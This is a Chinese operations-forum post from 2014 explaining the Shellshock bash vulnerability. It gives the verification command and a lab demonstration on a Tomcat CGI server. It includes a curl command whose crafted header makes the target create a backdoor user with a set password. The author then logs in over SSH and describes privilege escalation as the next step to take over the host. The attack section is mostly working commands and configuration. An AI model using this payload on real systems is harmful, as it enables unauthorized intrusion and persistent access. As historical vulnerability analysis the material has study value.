设为首页 收藏本站
查看: 864|回复: 0

[经验分享] bash漏洞利用【部分转载】

[复制链接]
累计签到:1 天
连续签到:1 天
发表于 2014-9-29 09:11:28 | 显示全部楼层 |阅读模式

里面内容做了修改

漏洞信息最早来源于国外知名漏洞网站exploit-db下的第34765篇漏洞报告,其中出现了一条验证命令:

env x='() { :;}; echo vulnerable' bash -c "echo thisis a test"

如果在一个含有版本号小于bash 4.3的linux或者unix系统上执行以上命令,可能会得到以下输出:

vulnerable
this is a test

其中如果出现第一行vulnerable则说明该系统存在一个由bash程序缺陷导致的任意命令执行漏洞。


漏洞原理及分析:

该脚本的出现引起了金山毒霸安全中心的关注,其中env为一个系统命令,该命令让系统创建一个环境变量x='() { :;}; echo vulnerable'并且带着这个环境变量的值执行bash-c“echo this is a test”。第一行输出的”vulnerable”暴露了漏洞的存在,因为函数定义’() { :;};’之后的’echo vulnerable’指令本不该被执行却被执行。对bash详细分析后得知bash在处理含有函数定义诸如”(){ :;};”的环境变量赋值的代码上存在设计缺陷,错误地将函数定义后面的字符串作为命令执行。

    所以真正的利用与env命令无关,只要设法让系统接受一个含有”[函数定义]+[任意命令]”的环境变量赋值则可触发”[任意命令]”部分所表示的代码执行。

漏洞存在条件:

任何已知程序,只要满足以下两个条件就可以被用来通过bash漏洞导致任意命令执行:

1、程序在某一时刻使用bash作为脚本解释器处理环境变量赋值;

2、环境变量赋值字符串的提交取决于用户输入。

漏洞利用演示:

需要一台linux操作系统,我用的是redhat,tomcat用的是5.5
TOMCAT需要支持CGI,以下是修改tomcat,让其支持cgi的过程
第一步
注销掉下面一段,如果没有的内容,补充完整
告诉tomcat,cgi的文件放在每个应用的WEB_INF/cgi-bin下面
<!-- -->
    <servlet>
        <servlet-name>cgi</servlet-name>
        <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
        <init-param>
          <param-name>debug</param-name>
          <param-value>0</param-value>
        </init-param>

        <init-param>
          <param-name>passShellEnvironment</param-name>
          <param-value>true</param-value>
         </init-param>



        <init-param>
          <param-name>cgiPathPrefix</param-name>
          <param-value>WEB-INF/cgi-bin</param-value>
        </init-param>
         <load-on-startup>5</load-on-startup>
        <init-param>
       <param-name>executable</param-name>
       <param-value>/bin/sh</param-value>
     </init-param>
    </servlet>

第二步
注销掉下面一段
<!-- -->
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

第三部
在测试应用testjsp下面创建目录cgi-bin
/testjsp/WEB-INF/cgi-bin
创建测试cgi文件vul_cgi.sh
vi vul_cgi.sh
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo "  <body>"
echo "          A Helloword from Duba!"
echo "  </body>"
echo "</html>"


第四步
启动tomcat
第五步
测试应用
http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh


这样就会输出A Helloword from Duba!

用另外一台linux操作系统,执行以下命令,让被黑主机创建用户nihao,密码good
curl -H 'A_Custom_Header: () { :;}; /bin/bash  -c "useradd nihao ; echo "good" | passwd --stdin nihao"' http://192.168.11.58:8080/testjsp/cgi-bin/vul_cgi.sh


上面这条命令中useradd nihao ; echo "good" | passwd --stdin nihao是直接创建用户nihao ,密码good,以后还有利用价值

命令执行完毕不输出任何提示
下面,ssh 192.168.11.58  用户名nihao,密码good,登录成功,下面就是给nihao用户提权,主机就直接拿下了

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-25499-1-1.html 上篇帖子: linux配置dns 下篇帖子: nslookup,dig,host等工具命令实例
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表